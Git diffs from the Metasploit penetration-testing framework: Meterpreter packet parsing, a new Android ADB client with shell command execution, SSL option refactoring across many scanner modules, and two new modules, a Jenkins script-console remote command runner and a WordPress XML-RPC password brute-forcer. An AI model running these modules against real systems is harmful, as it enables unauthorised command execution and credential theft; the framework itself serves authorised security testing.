self.hdr_length_left = HEADER_SIZE
self.payload_length_left = 0
end
@ -34,6 +39,9 @@ class PacketParser
# Reads data from the wire and parse as much of the packet as possible.
#
def recv(sock)
# Create a typeless packet
packet = Packet.new(0)
if (self.hdr_length_left > 0)
buf = sock.read(self.hdr_length_left)
@ -49,7 +57,10 @@ class PacketParser
# payload length left to the number of bytes
# specified in the length
if (self.hdr_length_left == 0)
self.payload_length_left = raw.unpack("N")[0] - 8
xor_key = raw[0, 4].unpack('N')[0]
length_bytes = packet.xor_bytes(xor_key, raw[4, 4])
# header size doesn't include the xor key, which is always tacked on the front
self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4)
end
elsif (self.payload_length_left > 0)
buf = sock.read(self.payload_length_left)
@ -67,14 +78,11 @@ class PacketParser
if ((self.hdr_length_left == 0) &&
(self.payload_length_left == 0))
# Create a typeless packet
packet = Packet.new(0)
# TODO: cipher decryption
if (cipher)
end
# Serialize the packet from the raw buffer
# Deserialize the packet from the raw buffer
packet.from_r(self.raw)
# Reset our state

View File

@ -52,6 +52,7 @@ class Console::CommandDispatcher::Stdapi::Fs
'cat' => 'Read the contents of a file to the screen',
'cd' => 'Change directory',
'del' => 'Delete the specified file',
'dir' => 'List files (alias for ls)',
'download' => 'Download a file or directory',
'edit' => 'Edit a file',
'getlwd' => 'Print local working directory',
@ -73,6 +74,7 @@ class Console::CommandDispatcher::Stdapi::Fs
'cat' => [],
'cd' => ['stdapi_fs_chdir'],
'del' => ['stdapi_fs_rm'],
'dir' => ['stdapi_fs_stat', 'stdapi_fs_ls'],
'download' => [],
'edit' => [],
'getlwd' => [],
@ -598,6 +600,12 @@ class Console::CommandDispatcher::Stdapi::Fs
return true
end
#
# Alias the ls command to dir, for those of us who have windows muscle-memory
#
alias cmd_dir cmd_ls
#
# Make one or more directory.
#

7
lib/rex/proto/adb.rb Normal file
View File

@ -0,0 +1,7 @@
# -*- coding: binary -*-
#
# Support for the ADB android debugging protocol
#
require 'rex/proto/adb/client'
require 'rex/proto/adb/message'

View File

@ -0,0 +1,39 @@
# -*- coding: binary -*-
##
# ADB protocol support
##
require 'rex/proto/adb/message'
module Rex
module Proto
module ADB
class Client
def initialize(sock, opts = {})
@sock = sock
@opts = opts
@local_id_counter = 0x0a
end
def connect
ADB::Message::Connect.new.send_recv(@sock)
end
def exec_cmd(cmd)
local_id = @local_id_counter += 1
response = ADB::Message::Open.new(local_id, "shell:"+cmd).send_recv(@sock)
ADB::Message::Close.new(local_id, response.arg0).send_recv(@sock)
end
def read_message
ADB::Message.read(@sock)
end
end # Client
end # ADB
end # Proto
end # Rex

View File

@ -0,0 +1,164 @@
# -*- coding: binary -*-
##
# ADB protocol support
##
module Rex
module Proto
module ADB
# A Message for the ADB protocol. For documentation see:
# https://android.googlesource.com/platform/system/core/+/master/adb/protocol.txt
class Message
WORD_WIDTH = 4 # bytes
WORD_PACK = 'L<'
attr_accessor :command
attr_accessor :arg0
attr_accessor :arg1
attr_accessor :data
def initialize(arg0, arg1, data)
self.command = self.class::COMMAND if defined?(self.class::COMMAND)
self.arg0 = arg0
self.arg1 = arg1
self.data = data + "\0"
end
def data_check
# this check is implemented in adb/transport.cpp, in the send_packet method.
# it is not crc32 as the docs make it appear, it is just a 32bit sum.
data.bytes.inject(&:+) & 0xffffffff
end
def magic
command_word ^ 0xffffffff
end
def command_word
command.unpack(WORD_PACK)[0]
end
def send_recv(socket)
socket.print self.serialize
Message.read socket
end
def serialize
[
command_word,
arg0,
arg1,
data.bytes.length,
data_check,
magic
].pack(WORD_PACK+'*') + data
end
def to_s
[
"command=#{command}",
"arg0=0x#{arg0.to_s(16)}",
"arg1=0x#{arg1.to_s(16)}",
"data=#{data}"
].join("\n")
end
def self.read(socket)
header = socket.recvfrom(6 * WORD_WIDTH)[0]
command = header[0, WORD_WIDTH]
arg0 = header[WORD_WIDTH, WORD_WIDTH].unpack(WORD_PACK)[0]
arg1 = header[WORD_WIDTH*2, WORD_WIDTH].unpack(WORD_PACK)[0]
payload_len = header[WORD_WIDTH*3, WORD_WIDTH].unpack(WORD_PACK)[0]
payload = socket.recvfrom(payload_len)[0]
klass = MESSAGE_TYPES.find { |klass| klass::COMMAND == command }
if klass.nil?
raise "Invalid adb command: #{command}"
end
message = klass.allocate
message.command = command
message.arg0 = arg0
message.arg1 = arg1
message.data = payload
message
end
#
# Subclasses inside Message:: namespace for specific message types
#
class Connect < Message
COMMAND = "CNXN"
DEFAULT_VERSION = 0x01000000
DEFAULT_MAXDATA = 4096
DEFAULT_IDENTITY = "host::"
def initialize(version=DEFAULT_VERSION,
maxdata=DEFAULT_MAXDATA,
system_identity_string=DEFAULT_IDENTITY)
super
end
end
class Auth < Message
COMMAND = "AUTH"
TYPE_TOKEN = 1
TYPE_SIGNATURE = 2
def initialize(type, data)
super(type, 0, data)
end
end
class Open < Message
COMMAND = "OPEN"
def initialize(local_id, destination)
super(local_id, 0, destination)
end
end
class Ready < Message
COMMAND = "OKAY"
def initialize(local_id, remote_id)
super(local_id, remote_id, "")
end
end
class Write < Message
COMMAND = "WRTE"
def initialize(local_id, remote_id, data)
super
end
end
class Close < Message
COMMAND = "CLSE"
def initialize(local_id, remote_id)
super(local_id, remote_id, "")
end
end
class Sync < Message
COMMAND = "SYNC"
def initialize(online, sequence)
super(online, sequence, "")
end
end
# Avoid a dependency on Rails's nice Class#subclasses
MESSAGE_TYPES = [Connect, Auth, Open, Ready, Write, Close, Sync]
end # Message
end # ADB
end # Proto
end # Rex

View File

@ -55,7 +55,7 @@ Gem::Specification.new do |spec|
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
spec.add_runtime_dependency 'bcrypt'
# Needed for Javascript obfuscation
spec.add_runtime_dependency 'jsobfu', '~> 0.3.0'
spec.add_runtime_dependency 'jsobfu', '~> 0.4.1'
# Needed for some admin modules (scrutinizer_add_user.rb)
spec.add_runtime_dependency 'json'
# Metasm compiler/decompiler/assembler
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.0.21'
spec.add_runtime_dependency 'metasploit-payloads', '1.0.24'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -20,7 +20,8 @@ class Metasploit3 < Msf::Auxiliary
This module will log into the Web API of VMWare and try to power off
a specified Virtual Machine.},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -30,8 +31,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptString.new('VM', [true, "The VM to try to Power Off"])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end
def run

View File

@ -21,7 +21,8 @@ class Metasploit3 < Msf::Auxiliary
a specified Virtual Machine.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -31,8 +32,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptString.new('VM', [true, "The VM to try to Power On"])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end
def run

View File

@ -22,7 +22,8 @@ class Metasploit3 < Msf::Auxiliary
logging a user event with user supplied text
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -33,8 +34,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('VM', [true, "The VM to try to Power On"]),
OptString.new('MSG', [true, "The message to put in the log", 'Pwned by Metasploit'])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end
def run

View File

@ -20,7 +20,8 @@ class Metasploit3 < Msf::Auxiliary
This module will log into the Web API of VMWare and try to terminate
user login sessions as specified by the session keys.},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -30,8 +31,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptString.new('KEYS', [true, "The session key to terminate"])
], self.class)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end
def run

View File

@ -32,14 +32,14 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSLVersion' => 'TLS1'
'SSLVersion' => 'TLS1',
'SSL' => true
}
))
register_options(
[
OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
], self.class)

View File

@ -22,12 +22,12 @@ class Metasploit3 < Msf::Auxiliary
'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi'
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => false }
))
register_options(
[
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]),
OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']),
OptPort.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]),
OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]),

View File

@ -26,15 +26,18 @@ class Metasploit3 < Msf::Auxiliary
[
'hdm'
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
'SSLVersion' => 'TLS1'
}
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']),
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]),
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
], self.class)
end

View File

@ -24,13 +24,13 @@ class Metasploit3 < Msf::Auxiliary
[
'Jonathan Claudius <jclaudius[at]trustwave.com>',
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
OptString.new('USERNAME', [true, "A specific username to authenticate as", 'cisco']),
OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'cisco'])
], self.class)

View File

@ -24,13 +24,13 @@ class Metasploit3 < Msf::Auxiliary
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
], self.class)

View File

@ -208,22 +208,22 @@ class Metasploit3 < Msf::Auxiliary
post_params['group_list'] = group unless group.empty?
resp = send_request_cgi(
'uri' => '/+webvpn+/index.html',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' => post_params
)
res = send_request_cgi(
'uri' => '/+webvpn+/index.html',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' => post_params
)
if resp &&
resp.code == 200 &&
resp.body.match(/SSL VPN Service/) &&
resp.body.match(/webvpn_logout/i)
if res &&
res.code == 200 &&
res.body.match(/SSL VPN Service/) &&
res.body.match(/webvpn_logout/i)
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
do_logout(resp.get_cookies)
do_logout(res.get_cookies)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
report_note(ip: rhost, type: 'cisco.cred.group', data: "User: #{user} / Group: #{group}")

View File

@ -30,13 +30,13 @@ class Metasploit3 < Msf::Auxiliary
['URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa'],
['URL', 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt']
],
'DisclosureDate' => 'Apr 09 2014'
'DisclosureDate' => 'Apr 09 2014',
'DefaultOptions' => { 'SSL' => true }
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
OptString.new('USERNAME', [true, "A specific username to authenticate as", 'clientless']),
OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'clientless']),
OptString.new('GROUP', [true, "A specific VPN group to use", 'clientless']),

View File

@ -42,8 +42,6 @@ class Metasploit3 < Msf::Auxiliary
# There is no TARGETURI because when Glassfish is installed, the path is /
Opt::RPORT(4848),
OptString.new('USERNAME',[true, 'A specific username to authenticate as','admin']),
OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
], self.class)
end

View File

@ -12,16 +12,16 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super(update_info(info,
'Name' => 'HTTP Strict Transport Security (HSTS) Detection',
'Description' => %q{
'Name' => 'HTTP Strict Transport Security (HSTS) Detection',
'Description' => %q{
Display HTTP Strict Transport Security (HSTS) information about each system.
},
'Author' => 'Matt "hostess" Andreko <mandreko[at]accuvant.com>',
'License' => MSF_LICENSE
'Author' => 'Matt "hostess" Andreko <mandreko[at]accuvant.com>',
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
))
register_options([
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
Opt::RPORT(443)
])
end

View File

@ -82,8 +82,8 @@ class Metasploit3 < Msf::Auxiliary
# Avoids writing to datastore['METHOD'] directly
def method
@method || datastore['METHOD']
def http_method
@http_method || datastore['METHOD']
end
# Avoids writing to datastore['DATA'] directly
@ -136,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
def ini_request(uri)
req = {}
case method
case http_method
when 'GET'
# Example: Say we have the following datastore['PATH']
# '/test.php?page=1&id=3&note=whatever'
@ -162,7 +162,7 @@ class Metasploit3 < Msf::Auxiliary
this_path = uri
end
req['method'] = method
req['method'] = http_method
req['uri'] = this_path
req['headers'] = {'Cookie'=>datastore['COOKIE']} if not datastore['COOKIE'].empty?
req['data'] = data if not data.empty?
@ -225,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary
:proof => trigger,
:name => self.fullname,
:category => "web",
:method => method
:method => http_method
})
else
@ -289,9 +289,9 @@ class Metasploit3 < Msf::Auxiliary
#
def is_writable(trigger)
# Modify some registered options for the PUT method
tmp_method = method
tmp_method = http_method
tmp_data = data
@method = 'PUT'
@http_method = 'PUT'
if data.empty?
unique_str = Rex::Text.rand_text_alpha(4) * 4
@ -310,7 +310,7 @@ class Metasploit3 < Msf::Auxiliary
send_request_cgi(req, 25)
# Prepare request to read our file
@method = 'GET'
@http_method = 'GET'
@data = tmp_data
req = ini_request(uri)
vprint_status("Verifying upload...")
@ -324,7 +324,7 @@ class Metasploit3 < Msf::Auxiliary
end
# Ah, don't forget to restore our method
@method = tmp_method
@http_method = tmp_method
end
#
@ -337,8 +337,8 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
# Warn if it's not a well-formed UPPERCASE method
if method !~ /^[A-Z]+$/
print_warning("HTTP method #{method} is not Apache-compliant. Try only UPPERCASE letters.")
if http_method !~ /^[A-Z]+$/
print_warning("HTTP method #{http_method} is not Apache-compliant. Try only UPPERCASE letters.")
end
print_status("Running action: #{action.name}...")

View File

@ -24,13 +24,13 @@ class Metasploit3 < Msf::Auxiliary
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
OptString.new('TARGETURI', [true, "URI for Web login. Default: /VPortal/mgtconsole/CheckPassword.jsp", "/VPortal/mgtconsole/CheckPassword.jsp"])
], self.class)
end

View File

@ -0,0 +1,143 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
require 'cgi'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins-CI Unauthenticated Script-Console Scanner',
'Description' => %q{
This module scans for unauthenticated Jenkins-CI script consoles and
executes the specified command.
},
'Author' =>
[
'altonjx',
'Jeffrey Cap'
],
'References' =>
[
['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'],
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'],
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]),
OptString.new('COMMAND', [ true, 'Command to run in application', 'whoami' ]),
], self.class)
end
def fingerprint_os(ip)
res = send_request_cgi({'uri' => normalize_uri(target_uri.path,"systemInfo")})
# Verify that we received a proper systemInfo response
unless res && res.body.to_s.length > 0
vprint_error("#{peer} - The server did not reply to our systemInfo request")
return
end
unless res.body.index("System Properties") &&
res.body.index("Environment Variables")
if res.body.index('Remember me on this computer')
vprint_error("#{peer} This Jenkins-CI system requires authentication")
else
vprint_error("#{peer} This system is not running Jenkins-CI at #{datastore['TARGETURI']}")
end
return
end
host_info = {}
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
print_status("#{peer} Using CSRF token: '#{$1}'")
host_info[:crumb] = $1
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
host_info[:cookie] = "#{sessionid}"
end
os_info = pattern_extract(/os.name(.*?)os.version/m, res.body).first
host_info[:prefix] = os_info.index(">Windows") ? "cmd.exe /c " : ""
host_info
end
def run_host(ip)
command = datastore['COMMAND'].gsub("\\", "\\\\\\")
host_info = fingerprint_os(ip)
return if host_info.nil?
prefix = host_info[:prefix]
request_parameters = {
'uri' => normalize_uri(target_uri.path,"script"),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'script' => "def sout = new StringBuffer(), serr = new StringBuffer()\r\ndef proc = '#{prefix} #{command}'.execute()\r\nproc.consumeProcessOutput(sout, serr)\r\nproc.waitForOrKill(1000)\r\nprintln \"out> $sout err> $serr\"\r\n",
'Submit' => 'Run'
}
}
request_parameters['cookie'] = host_info[:cookie] unless host_info[:cookie].nil?
request_parameters['vars_post']['.crumb'] = host_info[:crumb] unless host_info[:crumb].nil?
res = send_request_cgi(request_parameters)
unless res && res.body.to_s.length > 0
vprint_error("#{peer} No response received from the server.")
return
end
plugin_output, command_output = pattern_extract(/<pre>(.*?)<\/pre>/m, res.body.to_s)
if plugin_output !~ /Jenkins\.instance\.pluginManager\.plugins/
vprint_error("#{peer} The server returned an invalid response.")
return
end
# The output is double-HTML encoded
output = CGI.unescapeHTML(CGI.unescapeHTML(command_output.to_s)).
gsub(/\s*(out|err)>\s*/m, '').
strip
if output =~ /^java\.[a-zA-Z\.]+\:\s*([^\n]+)\n/
output = $1
print_good("#{peer} The server is vulnerable, but the command failed: #{output}")
else
output.split("\n").each do |line|
print_good("#{peer} #{line.strip}")
end
end
report_vulnerable(output)
end
def pattern_extract(pattern, buffer)
buffer.to_s.scan(pattern).map{ |m| m.first }
end
def report_vulnerable(result)
report_vuln(
:host => rhost,
:port => rport,
:proto => 'tcp',
:sname => ssl ? 'https' : 'http',
:name => self.name,
:info => result,
:refs => self.references,
:exploited_at => Time.now.utc
)
end
end

View File

@ -19,9 +19,9 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins Enumeration',
'Name' => 'Jenkins-CI Enumeration',
'Description' => %q{
This module enumerates a remote Jenkins installation in an unauthenticated manner, including
This module enumerates a remote Jenkins-CI installation in an unauthenticated manner, including
host operating system and and Jenkins installation details.
},
'Author' => 'Jeff McCutchan',
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/"]),
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
], self.class)
end

View File

@ -0,0 +1,137 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/wordpress_multicall'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress XML-RPC system.multicall Credential Collector',
'Description' => %q{
This module attempts to find Wordpress credentials by abusing the XMLRPC
APIs. Wordpress versions prior to 4.4.1 are suitable for this type of
technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically.
},
'Author' =>
[
'KingSabri <King.Sabri[at]gmail.com>' ,
'William <WCoppola[at]Lares.com>',
'sinn3r'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ],
['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ]
],
'DefaultOptions' =>
{
'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"),
'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")
}
))
register_options(
[
OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]),
OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]),
], self.class)
# Not supporting these options, because we are not actually letting the API to process the
# password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
deregister_options(
'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS'
)
end
def passwords
File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp}
end
def check_options
if datastore['CHUNKSIZE'] > 1700
fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
end
end
def setup
check_options
end
def check_setup
version = wordpress_version
vprint_status("Found Wordpress version: #{version}")
if !wordpress_and_online?
print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)")
false
elsif !wordpress_xmlrpc_enabled?
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC")
false
elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1')
print_error("#{peer}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.")
vprint_status("Dropping CHUNKSIZE from #{datastore['CHUNKSIZE']} to 1")
datastore['CHUNKSIZE'] = 1
true
else
print_status("Target #{peer} is running Wordpress")
true
end
end
def run_host(ip)
if check_setup
print_status("XMLRPC enabled, Hello message received!")
else
print_error("Abborting the attack.")
return
end
print_status("#{peer} - Starting XML-RPC login sweep...")
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: true,
user_file: datastore['USER_FILE'],
username: datastore['USERNAME']
)
scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new(
configure_http_login_scanner(
passwords: passwords,
chunk_size: datastore['CHUNKSIZE'],
block_wait: datastore['BLOCKEDWAIT'],
base_uri: target_uri.path,
uri: wordpress_url_xmlrpc,
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
)
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}"
end
end
end
end

View File

@ -33,8 +33,6 @@ class Metasploit3 < Msf::Auxiliary
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The path to the Zabbix server application', '/zabbix/']),
OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
], self.class)
end

View File

@ -21,7 +21,8 @@ class Metasploit3 < Msf::Auxiliary
web interface using a specific user/pass.
},
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -30,7 +31,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('URILOGIN', [true, "URI for Metasploit Web login. Default is /login", "/login"]),
OptString.new('URIGUESS', [true, "URI for Metasploit Web login. Default is /user_sessions", "/user_sessions"]),
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
], self.class)
register_autofilter_ports([55553])

View File

@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/mssql'
@ -32,6 +31,10 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.")
if datastore['TDSENCRYPTION']
print_status("Manually enabled TLS/SSL to encrypt TDS payloads.")
end
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
@ -56,6 +59,7 @@ class Metasploit3 < Msf::Auxiliary
max_send_size: datastore['TCP::max_send_size'],
send_delay: datastore['TCP::send_delay'],
windows_authentication: datastore['USE_WINDOWS_AUTHENT'],
tdsencryption: datastore['TDSENCRYPTION'],
framework: framework,
framework_module: self,
ssl: datastore['SSL'],

View File

@ -21,14 +21,17 @@ class Metasploit3 < Msf::Auxiliary
This module will attempt to authenticate to a Nessus server RPC interface.
},
'Author' => [ 'void_in' ],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
'SSLVersion' => 'TLS1'
}
))
register_options(
[
Opt::RPORT(8834),
OptString.new('TARGETURI', [ true, 'The path to the Nessus server login API', '/session']),
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]),
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
], self.class)
end

View File

@ -24,7 +24,8 @@ class Metasploit3 < Msf::Auxiliary
specific user/pass.
},
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -33,11 +34,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('URI', [true, "URI for Nessus XMLRPC login. Default is /login", "/login"]),
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
], self.class)
register_advanced_options(
[
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
], self.class)
end
def run_host(ip)

View File

@ -23,7 +23,8 @@ class Metasploit3 < Msf::Auxiliary
for Nessus XMLRPC interface.'
},
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -32,11 +33,6 @@ class Metasploit3 < Msf::Auxiliary
OptInt.new('THREADS', [true, "The number of concurrent threads", 25]),
OptString.new('URI', [true, "URI for Nessus XMLRPC. Default is /", "/"])
], self.class)
register_advanced_options(
[
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
], self.class)
end
def run_host(ip)

View File

@ -24,7 +24,8 @@ class Metasploit3 < Msf::Auxiliary
specific user/pass.
},
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
)
register_options(
@ -33,11 +34,6 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('URI', [true, "URI for NeXpose API. Default is /api/1.1/xml", "/api/1.1/xml"]),
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
], self.class)
register_advanced_options(
[
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
], self.class)
end
def run_host(ip)

View File

@ -15,13 +15,14 @@ class Metasploit3 < Msf::Auxiliary
def initialize
super(
'Name' => 'OpenVAS gsad Web Interface Login Utility',
'Description' => %q{
'Name' => 'OpenVAS gsad Web Interface Login Utility',
'Description' => %q{
This module simply attempts to login to a OpenVAS gsad interface
using a specific user/pass.
},
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
'License' => MSF_LICENSE
